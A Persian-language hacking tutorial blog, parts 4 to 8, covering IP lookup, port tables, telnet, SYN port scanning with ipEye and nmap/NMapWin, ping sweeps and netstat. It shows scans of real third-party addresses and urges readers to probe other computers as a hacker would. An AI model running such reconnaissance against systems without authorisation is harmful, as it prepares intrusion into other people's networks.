nmap -sS -PT -PI  -p 1-200 -O -T 3 63.148.227.65
و بعد از اجرای دستور و صبر کردن برای چند دقيقه، نتايج را می‌بينيم.
بعد از مدتی که با nmap کار کنيد، اين پارامترها را می‌آموزيد و ديگه نيازی به NMapWin نخواهيد داشت. مثلا همين O- يعنی OS detection، و 200-p 1 يعنی پورت‌های ۱ تا ۲۰۰ می‌باشد. بعدها خودتان می‌بينيد که کار کردن با nmap بسيار دلچسب‌تر از NMapWin است.

۲- می‌خواهيم يک ip scanning انجام دهيم برای 195.219.176.0 تا 195.219.176.10 . برای اينکار در NMapWin، در برگه Mode، گزينه Ping Sweep را انتخاب می‌کنيم. در برگه Discovery، گزينه ICMP Ping را انتخاب کرده و در برگه Options، گزينه OS detection را در حالت انتخاب نشده قرار می‌دهيم. برای نوشتن ip ملاحظه می‌فرماييد که 195.219.176 در هر دو مشترک است، پس می‌نويسيم: 10-195.219.176.0 .حالا می‌بينيم که پارامترها به صورت زير است:
-sP -PI -T 3 195.219.176.0-10
پس ما می‌نويسيم:
nmap -sP -PI -T 3 195.219.176.0-10

 
comment نظرات ()
 
 
قسمت هشتم(IP Scanning)
نویسنده : Hossein - ساعت ۱٢:٥٩ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 

- IP Scanning

IP Scanning به روش‌های مختلف می‌تواند صورت بگيرد:


۱- در ساده‌ترين نوع آن، يک پکت از نوع ICMP ECHO به يک ip خاص می‌فرستيم و اگر يک ICMP ECHO REPLAY به سمت ما برگشت، در اين صورت آن ip به‌اصطلاح up است. برای اين‌کار می‌توان از ابزارهای زير استفاده کرد:

الف) استفاده از ping موجود در سيستم‌عامل‌های ويندوز و يونيکس (لينوکس). به صورت زير:
ping xxx.xxx.xxx.xxx
مثلا برای 63.148.227.65 می‌نويسيم:
ping 63.148.227.65
اگر در ويندوز اين دستور را تايپ کنيد و به جواب زير برسيد، يعنی آن ip فعال است:
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
و اگه به پيغام زير رسيديد، يعنی فعال نيست:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
همان طور که می‌بينيد با اين دستور در يک لحظه فقط می‌شود، يک ip را تست کرد و اين کار ما را کند می‌کند.

ب) در سيستم‌عامل لينوکس می‌شود از gping استفاده کرد که يک مجموعه ip را به سرعت تست کرد.

ج) در سيستم عامل ويندوز می‌شود از Pinger استفاده کرد. برای داون‌لود اين نرم‌افزار اينجا را کليک کنيد. Pinger يک نرم‌افزار گرافيکی است و کار ping کردن به يک مجموعه ip را ساده می‌کند.



در قسمت From و To مشخص می‌کنيم که از کدام ip تا کدام ip را می‌خواهيم ping کنيم. با فشار دکمه Ping ليست ip هايی که up هستند، نمايش داده می‌شود. فرض کنيد که ip فعلی شما 195.219.176.88 باشد و بخواهيم بدانيم در کلاس C مربوط به ما چه ip های ديگری up هستند. در اين حالت بايد 195.219.176.1 تا 195.219.176.254 را ping کنيم.

د) حالا می‌خواهيم همين کار را با NMapWin انجام دهيم. برای اينکار بايد در برگه Scan، قسمت Mode را در حالت Ping Sweep قرار دهيد. برگه Discover بايد درحالت ICMP Ping باشد و در قسمت Options بايد گزينه OS Detection را از حالت انتخاب شده خارج کنيد. بعد بايد ليست ip ها را تنظيم کنيم، برای اينکار بايد در قسمت Host ، ليست ip ها را وارد می‌کنيم. مثلا اگر بخواهيم 195.219.176.1 تا 195.219.176.254 را تست کنيم بايد بنويسيم: 24/195.219.176.0 که اين 24/ يعنی کلاس C که از ۱ تا ۲۵۵ است. و بعد دکمه Scan را فشار دهيم.
Host   (195.219.176.0) seems to be a subnet broadcast address ...
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Host (195.219.176.1) appears to be up.
Host (195.219.176.3) appears to be up.
Host (195.219.176.5) appears to be up.
Host (195.219.176.7) appears to be up.
Host (195.219.176.9) appears to be up.
Host (195.219.176.11) appears to be up.
Host (195.219.176.12) appears to be up.
Host (195.219.176.13) appears to be up.
Host (195.219.176.14) appears to be up.
Host H-GVSVY95KXINRJ (195.219.176.15) appears to be up.
Host (195.219.176.16) appears to be up.
Host (195.219.176.17) appears to be up.
Host (195.219.176.18) appears to be up.
Host (195.219.176.19) appears to be up.
Host KERYASBA (195.219.176.20) appears to be up.
Host MARYAM (195.219.176.22) appears to be up.
Host (195.219.176.23) appears to be up.
Host (195.219.176.24) appears to be up.
Host FFX-L2XA0ZM87Q3 (195.219.176.25) appears to be up.
Host (195.219.176.26) appears to be up.
Host (195.219.176.27) appears to be up.
Host (195.219.176.28) appears to be up.
,...
ملاحظه می‌فرماييد که در بعضی موارد اسم کامپيوتر مربوط به ip هم ذکر شده است.


۲- در تمام روش‌های بالا، از پکت‌های ICMP برای پينگ استفاده کرديم. در بعضی کامپيوتر‌ها ممکن است پکت‌های ICMP توسط فايروال يا روتر بلاک شوند. در اين حالت بايد از پورت اسکنينگ برای IP اسکنينگ استفاده کرد! برای اين‌کار می‌توان از ابزارهای زير استفاده کرد:

الف) در سيستم عامل يونيکس (لينوکس) می‌توان از ابزارهايی مثل hping و icmpenum و ... استفاده کرد. که فعلا بحث ما نيستند.

ب) در سيستم‌عامل ويندوز، بازهم از NMapWin استفاده می‌کنيم. ولی طوری Port Scanning می‌کنيم که نياز ما را برای IP Scanning جواب دهد. اين‌کار توسط يک سری پورت‌های عمومی صورت می‌گيرد که در اکثر کامپيوتر‌ها باز هستند مثل ۸۰ ، ۲۵ و...
برای اين‌کار در برگه Scan ، قسمت Mode را در حالت Connect تنظيم می‌کنيم و در قسمت Scan Options ، گزينه Port Range را مثلا برای عدد 80 تنظيم می‌کنيم. Discover را در حالت TCP Ping قرار می‌دهيم. و در برگه Option ، گزينه OS Detection را از حالت انتخاب شده خارج می‌کنيم. ليست ip ها را ست کرده و اسکن را شروع می‌کنيم.


 
comment نظرات ()
 
 
قسمت هفتم(Port Scanning )
نویسنده : Hossein - ساعت ۱٢:٥٦ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- چگونه يک ارتباط TCP برقرار می‌شود که بگوييم فلان پورت باز است يا نه؟

برای اينکه تعيين کنيم که يک پورت روی يک سرور باز است يا نه، معمولا بايد يک TCP connect scan انجام دهيم. اول اين را بگم که Port Scanning انواع مختلف دارد که فعلا ما نوع TCP connect را مدنظر داريم. اين نوع اسکن سه مرحله دارد که به آن TCP"s 3-way handshakeمی‌گويند:
۱- اول کامپيوتر ما به سمت سرور يک SYN packet می‌فرستد که به معنی درخواست اتصال است.
۲- اگر سرور اين درخواست را قبول کند، در مرحله دوم سرور به سمت ما يک SYN/ACK packet می‌فرستد.
۳- در مرحله آخر کامپيوتر ما يک ACK packet به سمت سرور می‌فرستد.

نوع ديگری از پورت اسکن TCP SYN scan نام دارد. با توجه به اينکه معمولا اگر پورت اسکن به روش بالا (TCP connect scan) انجام دهيم، معمولا در سرور اين اتصال ذخيره خواهد شد و بعدا می‌تواند ما را رديابی کنند، به جای آن می‌توان از TCP SYN scan استفاده کرد. در اين نوع اسکن، مراحل ۱ و ۲ از بالا انجام می‌شود ولی مرحله ۳ نه! اگر در مرحله ۲ به ما يک SYN/ACK برسد، آن پورت باز است و اگر يک RST/ACK برسد، يعنی بسته است.

انواع ديگری از پورت اسکنينگ هم وجود دارد مثل UDP scan, TCP Window scan, TCP ACK scan, TCP Null, TCP Xmas Tree, TCP FIN Scan


- چگونه می‌توان عمل Port scanning را انجام داد؟

در تمام مطالبی که تا اين مرحله گفته‌ام سعی کرده‌ام که فقط از ابزارهای موجود در ويندوز استفاده کنم و هيچ ابزار ديگری به‌کار نبرم، اما در مبحث پورت اسکنينگ چون هيچ ابزاری در ويندوز برای اين‌ کار نيست، به‌ناچار بايد يک سری برنامه را از اينترنت داون‌لود کنيد. (توجه داشته باشيد که فعلا حرفی از لينوکس نزده‌ام و سعی می‌کنم فعلا هيچ بحثی را در مورد آن مطرح نکنم)

برای Port Scanning می‌توان از ابزارهای مختلفی استفاده کرد که اکثرا برای لينوکس طراحی شده‌اند، اما مهم‌ترين پورت اسکنرها برای ويندوز عبارتند از:

۱- نرم‌افزار NMapWin v1.3.0 :
نسخه گرافيکی و مخصوص ويندوز برای nmap است (nmap در لينوکس استفاده می‌شود). nmap از کامل‌ترين ابزارهايی است که هکر‌ها استفاده می‌کنند که علاوه بر توانايی انواع پورت اسکنينگ‌ها، می‌تواند کارهای بسياری چون تشخيص سيستم‌عامل سرور و ... را انجام دهد. اين ابزار را بعدا توضيح خواهم داد ولی فعلا برای کار ما بيش‌ از حد کامله ;-)

۲- NetScanTools Pro 2000 :
اين هم از بهترين‌هاست ولی چون پولی است به‌ جای داون‌لود بايد در CD هايی که در بازار هست پيدايش کنيد.

۳- WinScan :
برای اسکن کردن TCP (ونه UDP) می‌توانيد از آن استفاده کنيد. من زياد ازش خوشم نيومد.

۴- ipEye v1.2 :
من در این درس از اين نرم‌افزار استفاده خواهم کرد، برای داون‌لود آن می‌توانيد به سايت http://www.ntsecurity.nu/ مراجعه کنيد يا مستقيما با کليک روی اين لينک آن را داون‌لود کنيد. لازم است بگويم که اين نرم‌افزار فقط در ويندوز ۲۰۰۰ و xp کار می‌کند و نيز در يک بار اجرا فقط يک ip را می‌تواند تست کند. ضمنا فقط TCP را تست می‌کند.


- چگونه از ipEye برای پورت اسکنينگ استفاده کنيم؟

با تايپ ipEye در command prompt اين نتايج ظاهر می‌شود:
ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
          - http://ntsecurity.nu/toolbox/ipeye/

Error: Too few parameters.

Usage:

ipEye <target IP> <scantype> -p <port> [optional parameters]
ipEye <target IP> <scantype> -p <from port> <to port>
[optional parameters]

<scantype> is one of the following:
-syn = SYN scan
-fin = FIN scan
-null = Null scan
-xmas = Xmas scan>br>
(note: FIN, Null and Xmas scans don"t work against Windows systems.

[optional parameters] are selected from the following:
-sip <source IP> = source IP for the scan
-sp <source port> = source port for the scan
-d <delay in ms> = delay between scanned ports in milliseconds
(default set to 750 ms)

فرض کنيد که می‌خواهيم سايت سازين را از نظر پورت‌ها از پورت ۱ تا ۲۰۰ تست کنيم. اول بايد ip آن را به دست بياوريم که می‌شود، 63.148.227.65 و حالا به کمک دستور زير آن را بررسی می‌کنيم:
ipeye 63.148.227.65 -syn -p 1 200
دقت کنيد که 63.148.227.65 عدد ip سازين، syn- يعنی SYN SCAN و p 1 200- يعنی تست از پورت ۱ تا ۲۰۰ باشد. البته پارامترهای ديگری را هم می‌شود ست کرد که فعلا به درد ما نمی‌خورد. با اجرای اين دستور به نتايج زير می‌رسيم:
ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/
 
1-20 [drop]
21 [open]
22 [closed or reject]
23-24 [drop]
25 [open]
26-52 [drop]
53 [open]
54-79 [drop]
80 [open]
81-109 [drop]
110 [open]
111-142 [drop]
143 [open]
144-200 [drop]
201-65535 [not scanned]
Closed يعنی کامپيوتر در آن طرف هست ولی به پورت گوش نمی‌دهد، Reject يعنی اينکه يک firewall هست که اجازه اتصال به آن پورت را نمی‌دهد، Drop يعنی اينکه يک firewall همه‌چيز را پس‌ می‌زند و يا اصلا کامپيوتری اونور نيست، Open هم که يعنی باز.
در مورد سازين می‌بينيد که از بين پورت‌های ۱ تا ۲۰۰ ، پورت‌های ۲۱، ۲۵، ۵۳، ۸۰، ۱۱۰، ۱۴۳ باز است و می‌توان به‌ آنها telnet کرد. دقت کنيد که تا تمام پورت‌هايی که مشخص شده، تست نشده است، هيچ نتيجه‌ای نشان داده نمی‌شود و يه‌کم صبر می‌خواد.


- تعيين پورت‌های باز کامپيوتر خودتان

می‌خواهيم درباره کامپيوتر خودمان اين اطلاعات را پيدا کنيم. برای اين کار يکی از دستورات زير را به کار می‌بريم:
netstat -an
netstat -a
فرق اين دو دستور در اين است که اولی پورت‌ها را به صورت عددی و دومی به صورت معادل اسمی آن پورت می‌نويسد. مثلا معادل اسمی پورت 7 ، echo است.

مثلا اگه netstat -an را تايپ کنم، به اطلاعات زير می‌رسم:
Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:7 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9 0.0.0.0:0 LISTENING
TCP 0.0.0.0:13 0.0.0.0:0 LISTENING
TCP 0.0.0.0:17 0.0.0.0:0 LISTENING
TCP 0.0.0.0:19 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:53 0.0.0.0:0 LISTENING
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:515 0.0.0.0:0 LISTENING
TCP 0.0.0.0:563 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1033 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1040 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1041 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1043 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1755 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1801 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6034 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7007 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7778 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8181 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1039 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2103 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2105 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2107 0.0.0.0:0 LISTENING
UDP 0.0.0.0:7 *:*
UDP 0.0.0.0:9 *:*
UDP 0.0.0.0:13 *:*
UDP 0.0.0.0:17 *:*
UDP 0.0.0.0:19 *:*
UDP 0.0.0.0:68 *:*
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:161 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1030 *:*
UDP 0.0.0.0:1036 *:*
UDP 0.0.0.0:1038 *:*
UDP 0.0.0.0:1042 *:*
UDP 0.0.0.0:1075 *:*
UDP 0.0.0.0:1434 *:*
UDP 0.0.0.0:1645 *:*
UDP 0.0.0.0:1646 *:*
UDP 0.0.0.0:1755 *:*
UDP 0.0.0.0:1812 *:*
UDP 0.0.0.0:1813 *:*
UDP 0.0.0.0:3456 *:*
UDP 0.0.0.0:3527 *:*
UDP 127.0.0.1:53 *:*
UDP 127.0.0.1:1028 *:*
UDP 127.0.0.1:1029 *:*
UDP 127.0.0.1:1035 *:*
UDP 127.0.0.1:1044 *:*
UDP 127.0.0.1:1045 *:*
UDP 127.0.0.1:1100 *:*
من دستور را موقعی اجرا کردم که به اينترنت متصل نبودم. اگر همين کار را در زمان اتصال به اينترنت انجام می‌دادم، يک سری سطرهای جديد هم اضافه می‌شد که مربوط به آن اتصال می‌شد. و نيز دقت کنيد که من سويچ an- را استفاده کردم و پورت‌ها به صورت عددی نمايش داده شده است که همين الان - الساعه - براتون توضيح می‌دم:

اولين نکته‌ای که به نظر می‌رسد، نامی است که برای هر ستون نوشته شده است:
  Proto      Local Address       Foreign Address       State
- Proto : يعنی پروتکل، که می‌تواند TCP يا UDP باشد.
- Local Address : نشان‌دهنده ip کامپيوتر خودمان و شماره پورت‌هاست. مثلا سطر اول می‌گويد که ip من 0.0.0.0 است (دقت کنيد که من به اينترنت متصل نيستم) و اولين پورت باز (از نوع TCP با توجه به اول سطر) عدد ۷ است زيرا اين به صورت 0.0.0.0:7 نوشته شده است که قسمت قبل از کاراکتر : ، ip است و بعد از کاراکتر :، پورت است.
- Foreign Address : چون در اين مثال از سويچ a- يا an- استفاده کرده‌ايم، کاربردی ندارد. ولی بعدا خواهيد ديد که اگر از يک سويچ ديگر استفاده کنيم، می‌تواند مهم باشد.
- State : وضعيت اتصال را نشان می‌دهد


حالا اگه پورت‌ها را يکی يکی بررسی کنيد، می‌بينيد که در پروتکل TCP ، پورت‌های ۷، ۹، ۱۳، ۱۷، ۱۹، ۲۱ و... باز است و در پروتکل UDP ، پورت‌های ۷، ۹، ۱۳، ۱۷، ۱۹، ۶۸ و ... باز است.

حالا ممکن است بپرسيد که اين اطلاعات به چه دردی می‌خورد؟
جواب اين است که دانستن اين اطلاعات برای محافظت از خودتان در برابر همکارانتان (هکرها) است. مثلا اگر يک تروجان روی کامپيوتر شما نصب شده باشد، با اين دستور می‌توان آن را کشف کرد.

 
comment نظرات ()
 
 
قسمت ششم (بررسی انواع Scanning )
نویسنده : Hossein - ساعت ۱٢:٥۳ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
انواع Scanning

دو نوع معمول Scanning وجود دارد:

۱- Port Scanning :
در اين حالت ما IP يا IPهای مورد نظر را انتخاب کرده‌ايم و حالا می‌خواهيم بدانيم که کدام پورت‌ها روی آن کامپيوترها باز است.

۲- IP Scanning :
در اين اسکنينگ می‌خواهيم بدانيم که از بين يک مجموعه ip ، کدام‌ها up و کدام‌ها down هستند. يعنی کدام ip ها الان قابل دسترسی هستند (يعنی به يه کامپيوتر در اينترنت نسبت داده شده است! ) فرض کنيد که شما يک سری IP مربوط به يک ISP خاص را داريد و می‌خواهيد بدانيد که در اين لحظه کدام‌ها فعال (up) هستند تا فقط آنها را بررسی کنيد و نه‌ همه را. ( اين کار معمولا موقعی پيش می‌آيد که قرار است کلاينت هک کنيد و مهم نيست چه کسی باشد )

 
comment نظرات ()
 
 
قسمت پنجم(بحث port ها و telnet )
نویسنده : Hossein - ساعت ۱٢:٥٠ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- TCP و UDP چيست؟

مدل TCP/IP که برای ارتباط اينترنتی به‌کار می‌رود، می‌توان به لايه‌های مختلفی تقسيم‌بندی کرد که بعدا بيشتر توضيح می‌دم، اما يکی از اين لايه‌ها، لايه ارتباط host2host است که خود شامل دو پروتکل است به نامهای TCP و UDP :

۱- (TCP (Transmission Control Protocol :
اين پروتکل قوی‌تر و قابل اعتمادتر است و اصولا پروتکل مهمتری نسبت به UDP محسوب می‌شود. اين پروتکل توانايی بازبينی بسته‌هاو کنترل خطا را هم دارد.

۲- (UDP (User Datagram Protocol :
اين پروتکل برای کاهش overflow طراحی شده است و در خيلی از موارد وابسته به TCP است.

نکته مهم اين است که وقتی با يک پورت خاص روی يک کامپيوتر ديگر ارتباط برقرار می‌کنيم، اين ارتباط می‌تواند از نوع TCP يا UDP باشد. بنابراين وقتی می‌خواهيم يک کامپيوتر خاصی را از نظر پورت‌ها بررسی کنيم، هردو بايد بررسی شود.


- تقسيم‌بندی پورت‌ها از روی شماره آنها

۱- پورت‌های 0 تا 1023 :
مشهورترين پورت‌ها هستند و معمولا هرکدام برای يک سرويس خاص استفاده می‌شود. با تعدادی از اين پورت‌ها در جلسات قبل آشنا شده‌ايد.

۲- پورت‌های 1024 تا 49151 :
اين سری از پورت‌ها مشخصا با هيچ‌يک از سرويس‌های اينترنتی مرتبط نيستند بلکه وقتی که با يک ابزار شبکه مانند مرورگر اينترنت(مثل Internet Explore يا Netscape Navigator )، نرم‌افزار ارسال و دريافت E-mail (مثل Outlook يا Edura )، نرم‌افزارهای FTP (مثل WS-FTP يا Cute-FTP ) کار می‌کنيد، يکی از اين پورت‌ها به صورت random باز شده و يک ارتباط با سرور (با توجه به‌نوع سرويس اينترنتی که می‌دهد که يکی از پورت‌های 0 تا 1023 است) برقرار شده و داده‌ها ارسال و دريافت می‌شوند. يعنی پورت شما يکی از پورت‌های اين قسمت است و پورت سرور يکی از پورت‌های بالايی.اين سری پورت‌ها را پورت‌های register شده هم می‌گويند.

۳- پورت‌های 49152 تا 65535 :
اين سری از پورت‌ها به‌ندرت استفاده می‌شوند. کاربرد اساسی آنها برای يک سری سرويس‌های خاص اينترنتی است و يا توسط trojanها (که برای Hack کردن کامپيوتر است) است. البته خيلی از trojanهای معروف از پورت‌های رديف ۲ هم استفاده می‌کنند و اين تقسيم‌بندی‌ها هميشه برقرار نيست و به‌همين علت است که گاهی پورت‌ها را به دو‌دسته زير 1024 و بالای 1024 تقسيم‌ می‌کنند.


- تکميل ليست پورت‌ها

در جلسه دوم در مورد مهمترين پورت‌ها صحبت کردم. حالا يک ليست کامل‌تر را در اين درس می‌گم. اگر می‌خواهيد يک مرجع نسبتا کامل برای مراجعه داشته باشيد، اينجا را کليک کنيد. دقت کنيد درس امروز و نيز لينک بالا هيچ بحثی در مورد تروجان‌ها نمی‌کند زيرا تروجان‌های شناخته شده هم يک سری پورت پيش‌فرض دارند که در جای خود بحث خواهد شد.
Ports   TCP/UDP     Service or Application
------ ------- ----------------------------------------
7 tcp echo
11 tcp systat
19 tcp chargen
21 tcp ftp-data
22 tcp ssh
23 tcp telnet
25 tcp smtp
42 tcp nameserver
43 tcp whois
49 udp tacacs
53 udp dns-lookup
53 tcp dns-zone
66 tcp oracle-sqlnet
69 udp tftp
79 tcp finger
80 tcp http
81 tcp alternative for http
88 tcp kerberos or alternative for http
109 tcp pop2
110 tcp pop3
111 tcp sunrpc
118 tcp sqlserv
119 tcp nntp
135 tcp ntrpc-or-dec
139 tcp netbios
143 tcp imap
161 udp snmp
162 udp snmp-trap
179 tcp bgp
256 tcp snmp-checkpoint
389 tcp ldap
396 tcp netware-ip
407 tcp timbuktu
443 tcp https/ssl
445 tcp ms-smb-alternate
445 udp ms-smb-alternate
500 udp ipsec-internet-key-exchange (ike)
513 tcp rlogin
513 udp rwho
514 tcp rshell
514 udp syslog
515 tcp printer
515 udp printer
520 udp router
524 tcp netware-ncp
799 tcp remotely possible
1080 tcp socks
1313 tcp bmc-patrol-db
1352 tcp notes
1433 tcp ms-sql
1494 tcp citrix
1498 tcp sybase-sql-anywhere
1524 tcp ingres-lock
1525 tcp oracle-srv
1527 tcp oracle-tli
1723 tcp pptp
1745 tcp winsock-proxy
2000 tcp remotely-anywhere
2001 tcp cisco-mgmt
2049 tcp nfs
2301 tcp compaq-web
2447 tcp openview
2998 tcp realsecure
3268 tcp ms-active-dir-global-catalog
3268 udp ms-active-dir-global-catalog
3300 tcp bmc-patrol-agent
3306 tcp mysql
3351 tcp ssql
3389 tcp ms-termserv
4001 tcp cisco-mgmt
4045 tcp nfs-lockd
5631 tcp pcanywhere
5800 tcp vnc
6000 tcp xwindows
6001 tcp cisco-mgmt
6549 tcp apc
6667 tcp irc
8000 tcp web
8001 tcp web
8002 tcp web
8080 tcp web
9001 tcp cisco-xremote
12345 tcp netbus
26000 tcp quake
31337 udp backorifice
32771 tcp rpc-solaris
32780 udp snmp-solaris
43188 tcp reachout
65301 tcp pcanywhere-def



- چگونه به يک پورت Telnet کنيم؟

برای اينکه عملکرد يک پورت برای شما روشن شود، بايد به آن پورت Telnet کنيد. (البته معمولا تعدادی از پورت‌هايی را که ممکن است اطلاعاتی مهم را در اختيار هکر‌ها قرار دهند مثل پورت ۷۹ معمولا بسته است و ارتباط با آنها شايد برقرار نشود.) برای telnet کردن در command prompt دستور زير را تايپ کنيد:
  telnet hostname   portnum 
در اين دستور به‌جای hostname شماره ip و يا نام سايت را وارد می‌کنيد و به‌جای portnum شماره پورت و يا معادل آن از جدول. مثلا برای تلنت کردن به پورت ۱۳ که ساعت و تاريخ را به‌دست می‌دهد در کامپيوتری به‌ اسم www.iums.ac.ir مي‌نويسيد:
  telnet iums.ac.ir 13 
telnet iums.ac.ir daytime
هر دو اين دستورات معادل هم هستند.
تلنت کردن معمولا اولين کاری است که يک هکر برای هک کردن يک سايت انجام می‌دهد، زيرا بعضی از پورت‌ها در صورت بسته نبودن روی آن سرور، معمولا حاوی اطلاعات بسيار مهمی هستند.
همين الان شروع کنيد و مثل يک هکر واقعی به کامپبوتر‌های مختلف و پورت‌های گوناگون تلنت کنيد.
 
comment نظرات ()
 
 
قسمت چهارم(بحث ip)
نویسنده : Hossein - ساعت ۱٢:٤٤ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
Command Prompt چيست؟

در بسياری از درس‌های آينده از Command Prompt (خط فرمان) ويندوز استفاده خواهيم کرد. برای باز کردن آن يکی از روش‌های زير را به کار بريد:

۱- مسير زير را در ويندوز طی کنيد:
Start > Programs > Accessories > Command Prompt
۲- در قسمت Run بنويسيد: command يا cmd


- پيدا کردن ip يک سايت با دانستن آدرس اينترنتی آن (پيدا کردن ip سرور)

برای اين کار روشهای مختلفی هست:

۱- در (Internet Explorer (IE آدرس را تايپ کنيد و Enter را فشار دهيد. در قسمت پايين مرورگر يعنی Status Bar پس از چند لحظه برای مدت کوتاهی ip نمايش داده می‌شود و می‌توانيد آنرا يادداشت کنيد. اگر طول اين مدت بسيار کوتاه است می‌توانيد از صفحه عکس بگيريد ( با دکمه Print Screen ) و در يک نرم‌افزار گرافيکی بعد از باز کردن يک صفحه خالی به کمک Ctrl+V آنرا مشاهده کنيد. [ عجب راه احمقانه‌ای ;-)
اگر اين کار را برای www.yahoo.com انجام دهيم:



که همان شماره ip برای www.yahoo.com است.
نکته بسيار مهم اين است که به‌دليل ضريب اشتباه بسيار بالای آن هيچ‌گاه از اين روش استفاده نکنيد. نتايج ممکن است کاملا اشتباه باشد که بعدا ميگم چرا.

۲- دستور ping را در command prompt صادر کنيد:
ping domain
در اين حالت می‌توانم ip آن سايت را ملاحظه کنم. (البته کار اصلی ping يک چيز ديگست و ميشه گفت داريم ازش سوءاستفاده می‌کنيم). مثلا برای پيدا کردن ip سازين می‌نويسم:
ping sazin.com
و جواب می‌شنوم:
Pinging sazin.com [63.148.227.65] with 32 bytes of data:

Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=822ms TTL=111
Reply from 63.148.227.65: bytes=32 time=811ms TTL=111


Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 811ms, Maximum = 822ms, Average = 818ms
ملاحظه می‌فرماييد که ip سازين 63.148.227.65 است.
اگر دستور ping را به‌جای sazin.com برای www.sazin.com صادر کنيد، جواب همان است. البته برای سايت‌های بزرگ جواب‌های حاصل متفاوت خواهد بود.

۳- روش بعدی و کامل‌ترين روش whois کردن به بعضی سايت‌های خاص است. بعدا اين را کامل‌تر توضيح می‌دم ولی فعلا روشش رو می‌گم. آدرس زير را در مرورگر خود تايپ کنيد:
http://www.samspade.org/t/ipwhois?a=xxxxxx
که به‌جای xxxxxx آدرس مورد نظر را تايپ کنيد. مثلا برای sazin.com يکی از دو آدرس زير را بايد تايپ کرد:
http://www.samspade.org/t/ipwhois?a=sazin.com
http://www.samspade.org/t/ipwhois?a=www.sazin.com
چيزی که در صفحه ظاهر می‌شود به صورت زير است:
whois -h magic 63.148.227.65
sazin.com resolves to 63.148.227.65

Trying whois -h whois.arin.net 63.148.227.65
Qwest Communications NET-QWEST-BLKS-2 (NET-63-144-0-0-1)
63.144.0.0 - 63.151.255.255
Neutron Digital Media Corp. QWST-63-148-224 (NET-63-148-224-0-1)
63.148.224.0 - 63.148.231.255

# ARIN Whois database, last updated 2002-09-04 19:05
# Enter ? for additional hints on searching ARIN"s Whois database.
که آدرس ip در سطر اول و دوم ذکر شده است.

اگر دو روش آخر را برای سايت بزرگ yahoo انجام دهيم، نتايج زير را می‌بينيم:
--> روش ping :
www.yahoo.com ====> 64.58.76.229
yahoo.com ====> 66.218.71.198
--> روش whois :
...و www.yahoo.com ====> 66.218.71.86
64.58.79.230 و yahoo.com ====> 66.218.71.198

نتايج حاصل گويای آن است که چرا بهتر است از whois استفاده کنيم.


- تقسيم بندی آدرس‌های ip

آدرس‌های ip به ۵ کلاس تقسيم‌بندی می‌شوند که A تا E نام‌ دارند ولی از اين بين سه کلاس اول (يعنی C,B,A) کاربرد عملی دارند که آنها را شرح می‌دهيم:

۱- کلاس A: اگر ip را به‌صورت xxx.yyy.yyy.yyy در نظر بگيريد، اين کلاس تمام ipهايی را شامل می‌شود که xxx بين ۱ تا ۱۲۶ است. اين کلاس ويژه backbone های بزرگ اينترنتی است و در هنگام ثبت domain برای گرفتن ip از آنها استفاده می‌شود. بنابراين اکثر سايت‌ها چنين ipهايی دارند. اين کلاس را 8/ هم می‌گويند.

۲- کلاس B: اين کلاس تمام ipهايی را شامل می‌شود که xxx بين ۱۲۸ و ۱۹۱ است. اين کلاس هم از جمله کلاس‌های پرکاربرد است. اين کلاس را 16/ هم می‌گويند.

